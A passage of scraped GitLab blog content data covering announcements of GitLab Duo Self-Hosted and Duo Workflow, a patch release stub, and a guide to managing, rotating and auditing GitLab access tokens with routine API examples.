\"Article\",\n        \"headline\": \"GitLab Duo Self-Hosted: Enterprise AI built for data privacy\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Susie Bitters\"},{\"@type\":\"Person\",\"name\":\"Aathira Nair\"}],\n        \"datePublished\": \"2025-02-27\",\n      }",{"title":2378,"description":2379,"authors":2384,"heroImage":2380,"date":2365,"body":2386,"category":791,"tags":2387},[1031,2385],"Aathira Nair","We are excited to announce the general availability of GitLab Duo Self-Hosted for Code Suggestions and Chat. An optional capability for self-managed customers with a GitLab Duo Enterprise subscription, GitLab Duo Self-Hosted supports deployment flexibility across multiple platforms, including on-premises infrastructure or in private clouds and secure cloud environments through AWS Bedrock and Azure OpenAI. GitLab Duo Self-Hosted empowers teams to innovate with AI while helping them maintain control over sensitive data and intellectual property. \n\nSecurity concerns have been a major barrier to AI adoption in regulated industries. In our [Global DevSecOps Survey](http://about.gitlab.com/developer-survey/2024/ai), more than half of the respondents said that introducing AI into the software development lifecycle is risky. With [GitLab Duo](https://about.gitlab.com/gitlab-duo/), we gave organizations a way to ship more secure software faster with AI throughout the entire software development lifecycle.\n\nGitLab Duo Self-Hosted expands the availability of GitLab Duo AI features to organizations with stringent data privacy requirements, offering flexibility in both AI large language model (LLM) selection and deployment options. The earliest adopters of GitLab Duo Self-Hosted include organizations in the public sector and regulated industries  – e.g., financial services, automotive, and healthcare. These organizations seek to gain the competitive advantage of AI by integrating AI-powered development tools into their environments, while also giving security teams the control they need.\n\nAs one U.S. government agency says: “After selecting GitLab as the cornerstone of our agency-wide DevSecOps platform, we chose GitLab Duo Self-Hosted to further advance our software factory capabilities. GitLab Duo’s ability to operate in air-gapped environments and provide granular control over our data was crucial to delivering secure AI-powered features. This unified approach streamlines our workflow and strengthens security, allowing us to leverage AI for increased productivity while meeting strict compliance requirements.” \n\n![GitLab Duo Self-Hosted models](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097848/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097848329.png)\n\n## Architect secure AI deployments\n\nGitLab Duo Self-Hosted enables GitLab Duo features that leverage a curated selection of leading AI LLMs, including those from Anthropic, Mistral, and OpenAI. Here are the LLMs supported by GitLab today:\n\n* On-premises - Mistral models with the vLLM serving platform  \n* AWS - Mistral and Anthropic Claude 3.5 Sonnet via AWS Bedrock  \n* Microsoft Azure - OpenAI GPT models via Azure AI\n\nWe are evaluating more models to support in the near future. [Learn more about the LLMs we support.](https://docs.gitlab.com/ee/administration/self_hosted_models/supported_models_and_hardware_requirements.html#approved-llms)\n\nGitLab Duo Self-Hosted deployment options include on-premises installations powered by the open-source vLLM framework, as well as private-cloud deployments via services like AWS Bedrock and Microsoft Azure AI. This flexibility helps organizations to architect AI solutions that align with their unique security, compliance, and performance requirements.\n\n## Simplify AI/ML implementation\n\nGitLab Duo's AI abstraction layer standardizes and simplifies the integration of the chosen LLM to a feature, mitigating the burden of implementing AI/ML technologies. This enables companies to streamline their AI adoption efforts and enhance the developer experience, free from the complexities of integrating and maintaining multiple tools.\n\n![GitLab Duo Self-Hosted AI-powered features](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097848/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097848330.png)\n\n## Maintain control of sensitive data\n\nBy isolating your GitLab instance, AI gateway, and LLMs in your own environment or country of choice, GitLab Duo Self-Hosted makes it possible that sensitive data and intellectual property remain within your designated perimeter. Granular control over data locality helps enable adherence to strict data residency regulations, while adopting AI capabilities in secure settings. Whether you use GitLab Duo Self-Hosted in a completely air-gapped environment with vLLM or leverage a supported private cloud, you can control all aspects of the deployment to include the geographic location of components. By eliminating the reliance on external APIs and providing full visibility into all request and response logs, GitLab Duo Self-Hosted helps even the most regulated organizations confidently adopt AI capabilities and meet the most stringent compliance obligations.\n\n**Start an interactive tour of GitLab Self-Hosted by clicking on the image below:**\n\n[![GitLab Duo Self-Hosted tour screenshot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097848/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2025-02-20_at_7.00.34_AM_aHR0cHM6_1750097848332.png)](https://gitlab.navattic.com/gitlab-duo-self-hosted)\n\n## Get started with GitLab Duo Self-Hosted today\n\nIf you're ready to advance your AI journey while addressing security and data privacy, [reach out to us](https://about.gitlab.com/sales/) to help set up GitLab Duo Self-Hosted in your environment today.",[790,754,479,695,736],{"slug":2389,"featured":92,"template":678},"gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy","content:en-us:blog:gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy.yml","Gitlab Duo Self Hosted Enterprise Ai Built For Data Privacy","en-us/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy.yml","en-us/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy",{"_path":2395,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2396,"content":2402,"config":2407,"_id":2410,"_type":16,"title":2411,"_source":17,"_file":2412,"_stem":2413,"_extension":20},"/en-us/blog/gitlab-patch-release-17-9-1-17-8-4-17-7-6",{"title":2397,"description":2398,"ogTitle":2397,"ogDescription":2398,"config":2399,"ogImage":712,"ogUrl":2400,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2400,"schema":2401},"GitLab Patch Release: 17.9.1, 17.8.4, 17.7.6","Learn more about this release for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-9-1-17-8-4-17-7-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.9.1, 17.8.4, 17.7.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Costel Maxim\"}],\n        \"datePublished\": \"2025-02-26\",\n      }",{"title":2397,"description":2398,"authors":2403,"heroImage":712,"date":2404,"body":2405,"category":695,"tags":2406},[1162],"2025-02-26","This is the post for [GitLab Patch Release: 17.9.1, 17.8.4, 17.7.6](https://about.gitlab.com/releases/2025/02/26/patch-release-gitlab-17-9-1-released/).\n",[1464],{"slug":2408,"featured":6,"template":678,"externalUrl":2409},"gitlab-patch-release-17-9-1-17-8-4-17-7-6","https://about.gitlab.com/releases/2025/02/26/patch-release-gitlab-17-9-1-released/","content:en-us:blog:gitlab-patch-release-17-9-1-17-8-4-17-7-6.yml","Gitlab Patch Release 17 9 1 17 8 4 17 7 6","en-us/blog/gitlab-patch-release-17-9-1-17-8-4-17-7-6.yml","en-us/blog/gitlab-patch-release-17-9-1-17-8-4-17-7-6",{"_path":2415,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2416,"content":2422,"config":2428,"_id":2430,"_type":16,"title":2431,"_source":17,"_file":2432,"_stem":2433,"_extension":20},"/en-us/blog/the-ultimate-guide-to-token-management-at-gitlab",{"title":2417,"description":2418,"ogTitle":2417,"ogDescription":2418,"noIndex":6,"ogImage":2419,"ogUrl":2420,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2420,"schema":2421},"The ultimate guide to token management at GitLab","Learn all the steps in the end-to-end process of identifying, managing, and securing tokens for improved security across the software development lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097408/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750097407860.jpg","https://about.gitlab.com/blog/the-ultimate-guide-to-token-management-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to token management at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hakeem Abdul-Razak\"}],\n        \"datePublished\": \"2025-02-25\",\n      }",{"title":2417,"description":2418,"authors":2423,"heroImage":2419,"date":2425,"body":2426,"category":674,"tags":2427},[2424],"Hakeem Abdul-Razak","2025-02-25","Imagine this: You are an engineer at a growing tech company, and it’s 2 a.m. when you get an urgent call. A critical deployment pipeline has failed, and your team is scrambling to figure out why. After hours of digging, you realize someone revoked a personal access token belonging to an engineer who left the company a week ago. This token was tied to several key automation processes, and now your entire system is in chaos. How do you make sure it does not happen again?\n\nFollow this guide, which takes GitLab customers through the end-to-end process of identifying, managing, and securing their tokens. It is meant to be a handy supplement to the extensive [token overview documentation](https://docs.gitlab.com/ee/security/tokens) for GitLab administrators, developers, and security teams who need to ensure proper token management within their projects.\n\nHere's what is covered in this guide:\n- [How to select the right token for the job](#how-to-select-the-right-token-for-the-job)\n- [Token types](#token-types)\n- [Discovering your tokens](#discovering-your-tokens)\n    - [Credentials inventory](#credentials-inventory)\n- [Managing tokens in the GitLab UI and API](#managing-tokens-in-the-gitlab-ui-and-api)\n- [Token rotation and expiration management](#token-rotation-and-expiration-management)\n- [Token management best practices](#token-management-best-practices)\n    - [Service accounts](#service-accounts)\n\n## How to select the right token for the job\n\nChoosing the right token ensures optimal security and functionality based on your use case. \nTokens can be used for authenticating API requests, automating CI/CD pipelines, integrating third-party tools, managing deployments and repositories, and more.\n\n![Token management guide - flow chart for tokens](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097434869.png)\n\nFor the sake of simplicity, the chart illustrates a straightforward use case tied to single user ownership. For more information, check out our documentation of user roles and permissions at each [namespace](https://docs.gitlab.com/ee/user/permissions.html) (user/group) in your instance or top-level group. Example use cases could be as follows: \n\n- **Personal access tokens** ([PAT](https://docs.gitlab.com/user/profile/personal_access_tokens/#personal-access-token-scopes)) can be used by developers when a user's personal access and permissions are required. In this case, the credentials follow the status and permissions of the user, including the removal of access if the account loses access to a specific project or group (or is blocked entirely).   \n- **Project/group access tokens** ([PrAT](https://docs.gitlab.com/user/project/settings/project_access_tokens/#scopes-for-a-project-access-token)/[GrAT](https://docs.gitlab.com/user/group/settings/group_access_tokens/#scopes-for-a-group-access-token)) are recommended when access should be scoped to resources within a specific project/group, allowing anyone with a PrAT/GrAT to access those resources through mechanisms managed by assigned scopes.\n\n## Token types\n\nBelow is a list of GitLab tokens with their default prefixes and use cases. For more information, please visit the [GitLab Token overview page](https://docs.gitlab.com/ee/security/tokens/#available-scopes). \n\n| Tokens | Prefix  | Description |\n| :---: | :---: | :---: |\n| Personal access token | glpat | Access user-specific data |\n| OAuth 2.0 token |  gloas | Integrate with third-party applications using OAuth2.0 authentication protocol |\n| Impersonation token | glpat | Act on behalf of another user for administrative purposes |\n| Project access token | glpat | Access data from a specific project |\n| Group access token | glpat |  Access data from a specific group |\n| Deploy token | gldt |  Clone, push, and pull container registry images of a project without a user and a password |\n| Deploy keys | N/A | Allow read-only or read-write access to your repositories |\n| Runner authentication token | glrt | Authenticate GitLab Runners |\n| CI/CD job token  | glcbt | Automate CI/CD processes |\n| Trigger token | glptt | Trigger pipelines manually or programmatically |\n| Feed token | glft | Authenticate access to package/RSS feeds |\n| Incoming mail token  | glimt | Process incoming emails |\n| GitLab agent for Kubernetes token | glagent | Manage Kubernetes clusters via the GitLab agent |\n| SCIM tokens | glsoat | Enable SCIM integrations for user provisioning |\n| Feature flags client token | glffct | Enable feature flags programmatically |\n| Webhook token | N/A | User set secret token to secure webhook payloads and ensure that the requests are from GitLab |\n\n## Discovering your tokens\n\n### Credentials inventory\n\nOn GitLab Ultimate, administrators (GitLab Self-Managed) and top-level group owners of an enterprise organization (GitLab.com as of Version 17.5) can monitor the credentials in their namespace.\n\nThis inventory tracks token details such as:\n\n* Token type  \n  * Available tokens on [GitLab.com](https://docs.gitlab.com/ee/user/group/credentials_inventory.html)  \n  * Available tokens on [GitLab Self-Managed](https://docs.gitlab.com/ee/administration/credentials_inventory.html)  \n* Associated user accounts  \n* Token scopes, and creation and expiration dates  \n* Token last used IP addresses (as of GitLab 17.10)  \n* Token filtration based on the above user-defined parameters  \n* Ability to revoke and rotate those tokens\n\nA well-maintained credentials inventory helps identify over-permissioned tokens, and gives insight into credentials that may need to be rotated, ensuring a secure and efficient workflow.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/A9ONfnwswd0?si=4VIEUgJaD4daj81b&amp;start=105\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### Credentials inventory API\n\nAs a complement to the UI, there is [ongoing development](https://gitlab.com/groups/gitlab-org/-/epics/16343) to release a credentials inventory API through the new /group/:id/manage [endpoint](https://docs.gitlab.com/ee/api/members.html#list-all-members-of-a-group-or-project). The credentials accessible under this endpoint are limited to enterprise [users](https://docs.gitlab.com/ee/user/enterprise_user/), and can be accessed by the top-level group owner of an enterprise organization. An example of the future API call would be:\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cpat>\" \"https://verified_domain.com/api/v4/groups/\u003Cgroup_id>/manage/personal_access_tokens\"           \n```\n### GitLab API\n\nThe GitLab API allows you to programmatically list and manage tokens within your organization. Key authentication-related endpoints support [various token types](https://docs.gitlab.com/ee/api/rest/authentication.html)), including personal, group, CI/CD tokens, and more. An example of using a personal access token to list all visible projects across GitLab for the authenticated user is:\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cyour_access_token>\" \\\n     \"https://gitlab.example.com/api/v4/projects\"\n\n```\n\nWatch this video to learn how to make API calls to the GitLab API.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0LsMC3ZiXkA?si=vj871YH610jwQdFc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Finding where tokens are used\n\nCustomers can find where tokens are used in different ways:\n* under **User Profile > [Access Tokens](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used)**\n* in credentials inventory\n* in audit events\n* via the API \n\nInformation on token usage is updated every 10 minutes for **last_used** and every minute for **last_used_ip**. \n\nThe ability to view IP addresses was introduced in GitLab 17.9, and is controlled by the **:pat_ip** feature flag. Follow these [steps to view the last time a token was used](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used), along with its last five distinct IP addresses.\n\n![Token management guide - personal access tokens settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097434870.png)\n\n## Managing tokens in the GitLab UI and API\nThe following table includes videos detailing a few token creations in the UI and demonstrates their usage via the API.\n\n| Tokens     | GitLab UI    | GitLab API    |\n| ---------- | ---------- | ---------- |\n| Personal access token | [Documentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) and [video](https://youtu.be/v5Nj3Jy4vaI?t=3)  | [Documentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=43)  |\n| Group access token | [Documentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#group-access-tokens) and [video](https://youtu.be/v5Nj3Jy4vaI?t=120)  | [Documentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=157)  |\n| Project access token | [Documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#project-access-tokens) and [video](https://youtu.be/v5Nj3Jy4vaI?t=254)  | [Documentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=285)  |\n\n## Token rotation and expiration management\n\nImplementing token rotation and strict expiration policies reduces the risk of compromise and ensures compliance with security standards. Regular rotation and enforced expirations prevent stale credentials from becoming security vulnerabilities.\n\nPreviously, expired group and project access tokens were automatically deleted upon expiration, which made auditing and security reviews more challenging due to the lack of a record of inactive tokens. To address this, a [recent feature](https://gitlab.com/gitlab-org/gitlab/-/issues/462217) introduced the retention of inactive group and project access token records in the UI for 30 days after they became inactive. This enhancement aims to allow teams to track token usage, expiration, and revocation for better compliance and monitoring.\n\nTo be more proactive in your token rotation and expiration management, do the following: \n\n* Actively rotate your tokens via the UI or API. If you use the latter, be mindful of the [automatic token reuse detection](https://docs.gitlab.com/ee/api/personal_access_tokens.html#automatic-reuse-detection) security mechanism.  \n* Set an instance-wide [maximum lifetime limit](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#limit-the-lifetime-of-access-tokens) for access tokens. \n\n### Token rotation API\n\nUntil GitLab 17.7, customers had to programmatically rotate access tokens with the API. Its counterpart is now available on the UI. Check out the video in the table below or follow the [documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#use-the-ui) for guidance.\n\n### Token rotation snippets\n\nThe following table includes videos detailing the rotation of GitLab tokens. \n\n| Tokens | Prerequisites | GitLab UI | GitLab API |\n| :---: | :---: | ----- | ----- |\n| Personal access token | Scope: api\u000b | [Documentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) and [video](https://youtu.be/v5Nj3Jy4vaI?t=76)  | [Documentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html#rotate-a-personal-access-token) and [video](https://youtu.be/v5Nj3Jy4vaI?t=92)  |\n| Group access token | Scope: api and Role(s): owner | [Documentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#create-a-group-access-token-using-ui) and [video](https://youtu.be/v5Nj3Jy4vaI?t=203)  | [Documentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=214)  |\n| Project access token | Scope: api and Role(s): owner, maintainer | [Documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token) and [video](https://youtu.be/v5Nj3Jy4vaI?t=335)  | [Documentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=349)  |\n\n## Token management best practices\n\n### Principle of least privilege\n\nMitigate risk by restricting assigned permissions to tokens required for their respective tasks. This allows you to proactively predict and troubleshoot points of failure in your systems. You can do this by: \n\n* Selecting the right token for the right job. See the flowchart.  \n* Assign only the required scopes when creating a token. For example, use read-only scopes for tokens with auditor-like jobs. See [roles](https://docs.gitlab.com/ee/user/permissions.html#roles).  \n* Avoid granting administrative privileges unless specifically required.  \n* Enforce instance-wide default token [lifetimes](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#set-a-lifetime-1).  \n* Regularly review and audit token permissions to ensure they align with current operational needs.  \n* Revoke tokens once the task is complete.\n\n### Service accounts\n\n[Service accounts](https://docs.gitlab.com/ee/user/profile/service_accounts.html) ensure tokens are tied to non-human entities, separating them from individual user accounts and reducing dependency on specific users. Instead of using personal accounts to generate tokens for automation, create service accounts with limited scopes. Benefits include:\n\n* Usage of service account tokens in CI/CD pipelines to avoid disruptions caused by user account changes  \n* Programmatically automate rotation processes, as personal accounts remain unaffected  \n* Clearer monitoring and auditing trail of actions taken by service accounts  \n* Service accounts with [no expiration](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-service-account-personal-access-token-with-no-expiry-date) date  \n* Does not consume [a license seat](https://docs.gitlab.com/user/profile/service_accounts/#create-a-service-account)\n\nGitLab plans to release a new [Service Accounts UI](https://gitlab.com/groups/gitlab-org/-/epics/9965) as a counterpart to its [API-based creation](https://docs.gitlab.com/ee/api/user_service_accounts.html#create-a-service-account-user), designed to simplify the management of service accounts and their associated tokens. Check out the demo below on the programmatic usage of service accounts.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/oZvjg0SCsqY?si=cj-0LjfeonLGXv9u\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Vulnerability tools\n\nLeverage GitLab’s built-in security tools to identify and mitigate vulnerabilities associated with token usage. For maximum coverage, it is recommended to use them all in tandem.\n\n* [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/): Scans your repository for hardcoded secrets like API tokens, passwords, and other sensitive information. View the [list of detected secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/detected_secrets.html).  \n* [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/): Analyzes your source code for security vulnerabilities and [provides reports with UI findings in merge requests](https://docs.gitlab.com/ee/user/application_security/sast/#features), among other features.  \n* [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/): Ensures that third-party libraries used in your project do not expose token-related vulnerabilities. \n\n### Audit logs and monitoring\n\nMaintain token health by regularly reviewing audit logs and token usage, instance- and/or group-wide.\n\n* [Audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html): Enable audit event logging in GitLab to track token-related activities such as creation, usage, deletion and unusual API calls (unpermitted parameters in logs, and consistent triggers of the rate limiter). \n* [IP allowlisting](https://docs.gitlab.com/ee/administration/reporting/ip_addr_restrictions.html#configure-ip-address-restrictions): Helps prevent malicious users from hiding their activities behind multiple IP addresses.  \n* [Alerts](https://docs.gitlab.com/ee/operations/incident_management/alerts.html): Set up alerts for unusual activities (trigger paging for on-call rotations or be used to create incidents).  \n* [Credentials inventory](https://docs.gitlab.com/ee/administration/credentials_inventory.html): Complete control of all available access tokens with the ability to revoke as needed.  \n* [Notifications](https://docs.gitlab.com/ee/user/profile/notifications.html): Proactively handle any token (group, project, and personal) expiration notification emails you receive. Based on customer demand, this feature was recently extended to include 30-day and 60-day notifications from the seven-day default.   \n* [Webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#create-a-webhook): Access token webhooks can be configured on groups and projects to send seven-day token expiry events. This feature was also recently extended to include 30-day and 60-day notifications behind the **:extended_expiry_webhook_execution_setting** feature flag (disabled by default).\n\n## What's next\n\nWith GitLab’s large token catalog, there are ongoing [plans](https://gitlab.com/gitlab-org/gitlab/-/issues/502630) for consolidation with a focus on the lifetime, fine-grained scopes, consistent management, and usage. Our current prioritized token-related features include a complete UI for service accounts, additional credential types in the credentials inventory, and improved auditing for tokens and service accounts.\n\n> Sign up for a [free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/) to start using token management.",[696,674,479,754,695],{"slug":2429,"featured":92,"template":678},"the-ultimate-guide-to-token-management-at-gitlab","content:en-us:blog:the-ultimate-guide-to-token-management-at-gitlab.yml","The Ultimate Guide To Token Management At Gitlab","en-us/blog/the-ultimate-guide-to-token-management-at-gitlab.yml","en-us/blog/the-ultimate-guide-to-token-management-at-gitlab",{"_path":2435,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2436,"content":2441,"config":2447,"_id":2449,"_type":16,"title":2450,"_source":17,"_file":2451,"_stem":2452,"_extension":20},"/en-us/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai",{"title":2437,"description":2438,"ogTitle":2437,"ogDescription":2438,"noIndex":6,"ogImage":1418,"ogUrl":2439,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2439,"schema":2440},"GitLab Duo Workflow: Enterprise visibility and control for agentic AI","Secure, autonomous, context-aware AI agents take on complex tasks, freeing developers to ship innovative software faster. Private beta waitlist now open.","https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Workflow: Enterprise visibility and control for agentic AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pini Wietchner\"}],\n        \"datePublished\": \"2025-02-24\",\n      }",{"title":2437,"description":2438,"authors":2442,"heroImage":1418,"date":2444,"body":2445,"category":791,"tags":2446},[2443],"Pini Wietchner","2025-02-24","Today, we're excited to announce the opening of the waitlist for the [private beta of GitLab Duo Workflow](https://about.gitlab.com/gitlab-duo/workflow): **agentic AI built on top of the most comprehensive DevSecOps platform.** The next step in our AI roadmap, GitLab Duo Workflow will help development teams navigate everything from project bootstrapping to deployment processes, from debugging issues to cross-team coordination, all within the IDE. \n\nGitLab Duo Workflow leverages the GitLab platform's structure for collaboration, continuous integration, continuous deployment, security, and compliance to help organizations as they accelerate their development process with AI agents. \n\nUse GitLab Duo Workflow to help you:   \n* [bootstrap a new development project](#from-slow-project-setup-to-a-running-start)  \n* [modernize code](#from-legacy-code-to-modern-applications)  \n* [perform contextual tasks](#from-context-switching-to-flow-state) \n* [create documentation](#from-stale-docs-to-dynamic-knowledge)\n* [enhance test coverage](#from-patchy-to-comprehensive-testing) \n* and more  \n\nThis is just the beginning. With GitLab’s unified data store, the more you use GitLab, the more context GitLab Duo Workflow has about your code, configurations, security findings, and deployment practices. The result: an increasingly powerful development experience that's tailored to your organization.\n\n## The promise and challenge of AI agents\n\nSoftware has fundamentally changed the world, but only a tiny fraction of the world's population has the skills to build software today. Yet, these developers reach billions of people with smartphones and internet connections. Just imagine a world where *more* people can build, secure, and deliver production-ready software – there will be an explosion of innovation as more people can create software that impacts billions. **Agentic AI will make that happen.**\n\nAI agents understand context, maintain knowledge of entire codebases, and actively collaborate on complex software projects across development, security, and operations. With AI agents, developers can create software at a scale previously unimaginable for individuals or even teams.\n\nBut this shift raises important questions about visibility, control, and how AI will impact developers' work. Organizations need to ensure AI enhances their developers' capabilities while enabling them to maintain oversight of their development process. The key to success isn't just adopting AI – it's adopting it in a way that empowers developers while preserving security, compliance, and governance.\n\n## AI's success depends on your platform, not more add-on tools\n\nWhen you're working with more developers, code, and potential security risks, adding separate tools for each new challenge only creates more complexity. Our most recent [DevSecOps Survey](https://about.gitlab.com/the-source/platform/devops-teams-want-to-shake-off-diy-toolchains-a-platform-is-the-answer/) shows just how serious this problem is: DevSecOps teams are juggling up to 14 different tools, with professionals spending up to 80% of their time on non-coding tasks. For AI to be truly effective, it also needs high-quality, unified data. That's hard to achieve with disparate tools.\n\n**The GitLab DevSecOps platform combined with GitLab AI agents** brings everything together in a single data model that encapsulates source code, merge requests, epics, users, access rights, and more. The agents we're building use context about users and projects to standardize how teams work and automate the non-coding tasks that absorb developer time, such as scanning for security issues and enforcing compliance rules. When AI is built directly into the platform, these capabilities become even more powerful, turning AI agents into development partners while keeping you in control of how AI enhances the process.\n\n**This isn't a far-off future — it's what we're building right now with GitLab Duo Workflow.**\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1059060959?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Workflow, the future of secure agentic AI software development\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>`\n\n## GitLab Duo Workflow: AI agents on the most comprehensive DevSecOps platform\n\nLeveraging GitLab's end-to-end DevSecOps platform, GitLab Duo Workflow helps developers work at their highest potential. While AI coding assistants help with individual pieces of code, GitLab Duo Workflow will understand your entire development lifecycle – automating routine tasks so developers can focus on strategic innovation and creative problem-solving. As we develop GitLab Duo Workflow, here’s what it will be able to help teams achieve: \n\n### From slow project setup to a running start\n\nDevelopers spend precious time configuring new projects, managing dependencies, and setting up basic infrastructure instead of building new features. With GitLab Duo Workflow, you can **automate project bootstrapping directly in the IDE**, providing the right configurations from the start so you can focus on innovation sooner.\n\n### From legacy code to modern applications\n\nModernizing legacy code is more than just updating syntax — it requires understanding dependencies, tests, CI/CD pipelines, and documentation. GitLab Duo Workflow helps **modernize your codebase by handling code refactoring** – from code to tests.\n\n### From context switching to flow state\n\nToday, developers constantly switch between tools, docs, and codebases to solve problems. GitLab Duo Workflow will help **resolve tasks with the full context of your codebase-related issues and merge requests**, letting developers stay in their flow.\n\n### From stale docs to dynamic knowledge\n\nDocumentation becomes stale quickly, making codebases harder to understand and maintain. GitLab Duo Workflow **supports developers in generating and updating documentation**, including README files, code flow diagrams, and architecture documentation.\n\n### From patchy to comprehensive testing\n\nAs codebases grow, maintaining comprehensive test coverage becomes increasingly challenging. GitLab Duo Workflow **can generate tests for entire sections of your codebase** while integrating with your existing test infrastructure, ensuring more reliable software with less effort.\n\n## Sign up for the private beta waitlist\n\n[Sign up for the GitLab Duo Workflow private beta waitlist](https://about.gitlab.com/gitlab-duo/workflow) to see the next step in our vision for secure agentic AI – from project setup to deployment. Built on GitLab's DevSecOps platform, these agents understand your entire software lifecycle while maintaining the enterprise-grade security and control organizations require.\n\n*Disclaimer: This page contains information about upcoming products, features, and functionality. This information is for informational purposes only and should not be relied upon for purchasing or planning. All items are subject to change or delay, and the development, release, and timing remain at GitLab Inc.'s sole discretion.*",[479,790,754,695,736,1444],{"slug":2448,"featured":92,"template":678},"gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai","content:en-us:blog:gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai.yml","Gitlab Duo Workflow Enterprise Visibility And Control For Agentic Ai","en-us/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai.yml","en-us/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai",{"_path":2454,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2455,"content":2462,"config":2468,"_id":2471,"_type":16,"title":2472,"_source":17,"_file":2473,"_stem":2474,"_extension":20},"/en-us/blog/gitlab-17-9-released",{"title":2456,"description":2457,"ogTitle":2456,"ogDescription":2457,"config":2458,"ogImage":2459,"ogUrl":2460,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2460,"schema":2461},"GitLab 17.9 released","Includes GitLab Duo Self-Hosted available in GA, the ability to run multiple GitLab Pages sites with parallel deployments, automatic deletion of older pipelines, 